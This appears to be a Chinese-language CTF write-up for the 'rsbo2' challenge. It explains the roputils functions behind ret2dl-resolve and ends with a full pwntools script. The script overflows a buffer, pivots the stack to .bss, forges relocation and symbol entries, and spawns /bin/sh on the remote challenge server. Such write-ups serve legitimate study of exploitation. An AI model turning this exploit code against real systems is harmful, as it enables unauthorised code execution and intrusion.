这题想用retdl-resolve 来解题,可是自己手写的脚本过不了,搜过其他的wp,发现有很多种解法,利用DynELF泄露libc地址, 或利用write直接泄露libc地址(题目给了libc),但是我就是想用栈迁移和retdl-resolve解题,但是搜到的wp几乎都用了roputils工具,这工具我不会用也没搜到什么教程,然后经过一段时间的无能狂怒之后最后决定求人不如求己,自己去看roputils的源码自己钻
roputils源码
参考的wp:
https://blog.youkuaiyun.com/charlie_heng/article/details/78947199
1.rop.fill()
源代码如下:
def fill(self, size, buf=''):
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
buflen = size - len(buf)
assert buflen >= 0, "%d bytes over" % (-buflen,)
return ''.join(random.choice(chars) for i in xrange(buflen))
作用比较好理解,就是在buf后面添加字符,知道buf的长度达到size为止
例子:
2.rop.call()
源代码如下:
def call(self, addr, *args):
if isinstance(addr, str):
addr = self.plt(addr)
buf = self.p(addr) //要调用的函数的地址
buf += self.p(self.gadget('pop', n=len(args))) //类似于pppr的gadget,不过参数不确定,所以n=len(args), 最后会把该函数的参数全部弹出,rop.call()后面的即是返回地址
buf += self.p(args) //该函数的参数
return buf
3.rop.dl_resolve_call()
源码如下:
def align(self, addr, origin, size): //数据对齐
padlen = size - ((addr-origin) % size)
return (addr+padlen, padlen)
def plt(self, name=None):
if name:
return self.offset(self._plt[name])
else:
return self.offset(self._section['.plt'][0])
def dl_resolve_call(self, base, *args):
jmprel = self.dynamic('JMPREL')
relent = self.dynamic('RELENT')
addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
buf = self.p(self.plt()) //在这里是plt表头的地址
buf += self.p(reloc_offset) //REL.PLT表距bss段的偏移
buf += self.p(self.gadget('pop', n=len(args))) //system 函数的返回地址
buf += self.p(args) //'/bin/sh\0' 的地址
return buf
base 参数是 伪造的.rel.plt 表项数据的地址
*args 参数是 /bin/sh\0 的地址
4.dl_resolve_data()
源代码如下:
def dl_resolve_data(self, base, name):
jmprel = self.dynamic('JMPREL')
relent = self.dynamic('RELENT')
symtab = self.dynamic('SYMTAB')
syment = self.dynamic('SYMENT')
strtab = self.dynamic('STRTAB')
addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
addr_sym, padlen_sym = self.align(addr_reloc+relent, symtab, syment)
addr_symstr = addr_sym + syment
r_info = (((addr_sym - symtab) / syment) << 8) | 0x7
st_name = addr_symstr - strtab
buf = self.fill(padlen_reloc) #由于数据对齐会导致数据产生偏移,在这里填充这个偏移来消除误差
buf += struct.pack('<II', base, r_info) # Elf32_Rel
buf += self.fill(padlen_sym)
buf += struct.pack('<IIII', st_name, 0, 0, 0x12) # Elf32_Sym
buf += self.string(name)
return buf
看代码可以看出是伪造关于动态链接的数据
最后是根据理解模仿的exp:
我觉得那个大佬的栈迁移对我来说有点绕,所以我改了一下,有点啰嗦但是觉得好理解
另外后面有些地方rop.fill()没用0x80 填充是因为read函数 会读取 0x80 个字符,用0x7f填充,加上后面的p.sendline() 的换行符就刚好0x80 个字符了
另外这题还有个不理解的地方:
他们说用\x00 填充的原因是覆盖 v8的值好跳出for循环,但是仔细一想即使先覆盖了v8的值为0, 而v8被赋予的是read_80_bytes 函数的返回值,所以v8的值还是read函数实际读取的字符,并不会马上跳出循环,但是奇怪的是不用\x00 填充用’a’填充 在rsbo 中无法getflag,如果有知道的人麻烦告诉我一下,谢谢
from pwn import *
import roputils as rp
context(arch='i386', os='linux', log_level='debug')
#p = process("./rsbo2")
p = remote("hackme.inndy.tw", 7706)
rop = rp.ROP("./rsbo2")
elf = ELF("./rsbo2")
offset = 0x68
bss = elf.bss() + 0x800
plt_read = elf.plt['read']
start = 0x08048490
leaveret = 0x08048733
payload = '\x00'*(offset + 4) + p32(plt_read) + p32(start) + p32(0) + p32(bss) + p32(0x80)
p.send(payload)
rop_data = 'a'*0x4 + rop.call('read', 0, bss+180, 0x80) + rop.dl_resolve_call(bss+200, bss+180)
rop_data += rop.fill(0x7f, rop_data)
sleep(2)
p.sendline(rop_data)
payload = '\x00'*offset + p32(bss) + p32(leaveret) + (0x80 - len(payload))*'a'
sleep(2)
p.send(payload)
bss_data = '/bin/sh\0'
bss_data += rop.fill(20, bss_data)
bss_data += rop.dl_resolve_data(bss+200, 'system')
bss_data += rop.fill(0x7f, bss_data)
sleep(2)
p.sendline(bss_data)
p.interactive()
结果: